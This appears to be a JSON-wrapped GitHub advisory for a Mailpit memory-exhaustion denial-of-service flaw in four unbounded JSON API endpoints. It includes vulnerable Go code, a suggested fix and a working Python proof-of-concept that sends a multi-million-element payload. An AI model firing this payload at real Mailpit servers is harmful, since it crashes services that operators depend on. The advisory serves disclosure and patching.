{"id":"CVE-2026-48824","title":"Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw)","summary":"Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw)","severity":"medium","cvss":5.3,"cwe":["CWE-770"],"vendor":"axllent","product":"github.com/axllent/mailpit","ecosystem":"go","affected":["github.com/axllent/mailpit <= 1.30.0"],"patched":["github.com/axllent/mailpit 1.30.1"],"published":"2026-07-01","updated":"2026-07-01","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-28pq-6qxg-wg5r","references":[{"url":"https://github.com/axllent/mailpit/security/advisories/GHSA-28pq-6qxg-wg5r"},{"url":"https://github.com/advisories/GHSA-28pq-6qxg-wg5r"}],"tags":["ghsa","go"],"ingestedAt":"2026-07-01T21:17:11.593Z","epss":0.00421,"epssPercentile":0.35964,"slug":"CVE-2026-48824","body":"## Overview\n\n### Summary\n\nThe fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, \"Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes\") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints  `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage)  still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process.\n\n### Affected versions\n\n- Mailpit at HEAD `67a7ca83ff759082d2b86dda07eb5bb3dad404e0` (v1.30.0, 2026-05-14).\n- All versions `<= v1.30.0` (the release that shipped the GHSA-fpxj fix). Versions `< v1.30.0` are vulnerable to the original GHSA-fpxj on `/api/v1/send`; version `v1.30.0` carries the sibling-endpoint gap described here.\n\n### Privilege required\n\nNone in default deploy (no `--ui-auth`, no `--smtp-auth`). The four endpoints share the same `middleWareFunc` wrapper as the original GHSA-fpxj target, so the same default-no-auth threat model applies. With `--ui-auth=user:pass` configured, the same primitive is post-auth — still useful since UI-auth Mailpit deployments commonly run on internal ops subnets where one stolen UI credential pivots into an RSS-exhaustion vector against the same host.\n\n### The incomplete fix\n\nCommit `136bdde` (\"Security: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes (GHSA-fpxj-m5q8-fphw)\", 2026-05-12) added the `MaxBytesReader` wrap in exactly one place:\n\n```go\n// server/apiv1/send.go:45-48\nif config.MaxMessageSize > 0 {\n    r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)\n}\n\ndecoder := json.NewDecoder(r.Body)\n```\n\nThe sibling JSON-body handlers were not updated. Side-by-side at HEAD `67a7ca8`:\n\n| File | Function | `MaxBytesReader`? | Unauth in default deploy? |\n|---|---|---|---|\n| `server/apiv1/send.go:45-48` (`SendMessageHandler`) | POST `/api/v1/send` | YES (50 MB) | YES (via `sendAPIAuthMiddleware` falling back to `middleWareFunc`) |\n| `server/apiv1/messages.go:107` (`SetReadStatus`) | PUT `/api/v1/messages` | NO | YES |\n| `server/apiv1/messages.go:187` (`DeleteMessages`) | DELETE `/api/v1/messages` | NO | YES |\n| `server/apiv1/tags.go:54` (`SetMessageTags`) | PUT `/api/v1/tags` | NO | YES |\n| `server/apiv1/release.go:55` (`ReleaseMessage`) | POST `/api/v1/message/{id}/release` | NO | YES |\n\nThe four sibling handlers all share the shape:\n\n```go\n// server/apiv1/messages.go:107-115 (SetReadStatus)\ndecoder := json.NewDecoder(r.Body)\n\nvar data struct {\n    Read   bool\n    IDs    []string\n    Search string\n}\n\nerr := decoder.Decode(&data)\n```\n\nNo `MaxBytesReader`, no body-size cap, no `r.Header.Get(\"Content-Length\")` check. The `json.NewDecoder` streams the body but each `\"x\"` element materialises as a separate Go `string` plus slice-header overhead, so the unmarshalled `[]string` slice for `IDs` grows roughly linearly with attacker payload size.\n\n### Vulnerable code\n\n`server/apiv1/messages.go:107`:\n\n```go\nfunc SetReadStatus(w http.ResponseWriter, r *http.Request) {\n    decoder := json.NewDecoder(r.Body)\n\n    var data struct {\n        Read   bool\n        IDs    []string\n        Search string\n    }\n\n    err := decoder.Decode(&data)\n    if err != nil {\n        httpError(w, err.Error())\n        return\n    }\n    // ...\n```\n\nThree other handlers (`DeleteMessages`, `SetMessageTags`, `ReleaseMessage`) match the same shape.\n\n### Reachability chain (default deploy)\n\n```\nListen()                                  # config/config.go HTTPListen = \"[::]:8025\"\n   ↓\nHTTP server                               # server/server.go:177-186\n   ↓\nmiddleWareFunc(apiv1.SetReadStatus)       # server/server.go:178 — auth bypassed when UICredentials == nil\n   ↓\nSetReadStatus                             # server/apiv1/messages.go:87\n   ↓\njson.NewDecoder(r.Body).Decode(&data)    # no MaxBytesReader; allocates 4M Go strings + slice for {\"IDs\":[\"x\",...]}\n   ↓\nRSS grows ~28x relative to payload size\n```\n\n`config/config.go`'s `MaxMessageSize` field (added by 136bdde) exists and is parsed from `--max-message-size` (default 50 MB), but it is checked only in `server/apiv1/send.go`. The four sibling handlers never consult it.\n\n### Reproduction (E2E against `axllent/mailpit:latest` v1.30.0)\n\n```bash\n# 1) start mailpit with defaults (no --ui-auth, no --smtp-auth)\ndocker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest\n\n# 2) baseline RSS\ndocker stats mailpit-test --no-stream --format '{{.MemUsage}}'\n# → 8.473MiB / 5.772GiB\n\n# 3) trigger\npython3 - <<'PY'\nimport socket\nN = 4_000_000\nprefix = b'{\"Read\": true, \"IDs\": ['\nitems  = b'\"x\"' + (b',\"x\"' * (N - 1))\nsuffix = b']}'\nclen   = len(prefix) + len(items) + len(suffix)\ns = socket.create_connection((\"localhost\", 18025), timeout=300)\ns.sendall(\n    b\"PUT /api/v1/messages HTTP/1.1\\r\\n\"\n    b\"Host: localhost:18025\\r\\n\"\n    b\"Content-Type: application/json\\r\\n\"\n    b\"Content-Length: \" + str(clen).encode() + b\"\\r\\n\"\n    b\"Connection: close\\r\\n\\r\\n\")\ns.sendall(prefix)\nrem = items\nwhile rem:\n    s.sendall(rem[:1024*1024]); rem = rem[1024*1024:]\ns.sendall(suffix)\ns.close()\nPY\n\n# 4) post-PoC RSS\ndocker stats mailpit-test --no-stream --format '{{.MemUsage}}'\n# → 455.8MiB / 5.772GiB\n```\n\nObserved: a single 16 MB JSON body drove Mailpit RSS from 8.473 MiB to 455.8 MiB (+447 MiB, ~28× amplification). Memory is not freed between requests; repeating the PoC over multiple TCP connections sums per-process until the operator restarts the container or the host memory pressure regime terminates it.\n\nThe same primitive reproduces on `DELETE /api/v1/messages`, `PUT /api/v1/tags`, and `POST /api/v1/message/{any-id}/release` with identical body shapes; each of the four endpoints individually reproduces the same amplification.\n\n### Impact\n\n- **Pre-auth remote memory-exhaustion DoS.** Default-deploy Mailpit (the deployment shape the README documents for dev/CI use) is reachable unauthenticated on `[::]:8025`. A single TCP connection sending one ~100 MB JSON `IDs` body drives RSS to ~2.8 GB. Multiple concurrent connections compound the per-process RSS growth. Class-and-severity match the parent CVE-2026-45710.\n- **Disk amplification (secondary).** The `IDs` slice itself is not persisted to SQLite (unlike the parent GHSA-fpxj message-body path), so disk pressure is limited to whatever the handler does downstream. For `SetReadStatus`, the slice is iterated and an UPDATE is issued for each id; with 4M entries the per-call work is also linear in `len(ids)`.\n- **Same threat model as the parent.** The maintainer chose 50 MB as the default cap for `/api/v1/send` to bound the worst case there. Without the same cap on these sibling endpoints, the per-process worst-case is unbounded.\n\n### Suggested fix\n\nApply the same `MaxBytesReader` pattern already proven on `send.go` to every JSON-body handler. Concretely, wrap each of the four sibling sites:\n\n```go\n// server/apiv1/messages.go:107  (SetReadStatus)\nif config.MaxMessageSize > 0 {\n    r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)\n}\ndecoder := json.NewDecoder(r.Body)\n\n// server/apiv1/messages.go:187  (DeleteMessages) — same wrap\n// server/apiv1/tags.go:54       (SetMessageTags) — same wrap\n// server/apiv1/release.go:55    (ReleaseMessage)  — same wrap\n```\n\nA cleaner shape is to factor the cap into the existing `middleWareFunc` wrapper in `server/server.go`, so every API handler that is not an upload-style endpoint inherits the cap by default. \n\n### Credit\n\nReported by tonghuaroot.\n\n## Affected packages\n\n- `github.com/axllent/mailpit <= 1.30.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/axllent/mailpit 1.30.1`","depth":"sunlit","depthScore":29,"depthScoreParts":{"impact":29.2,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}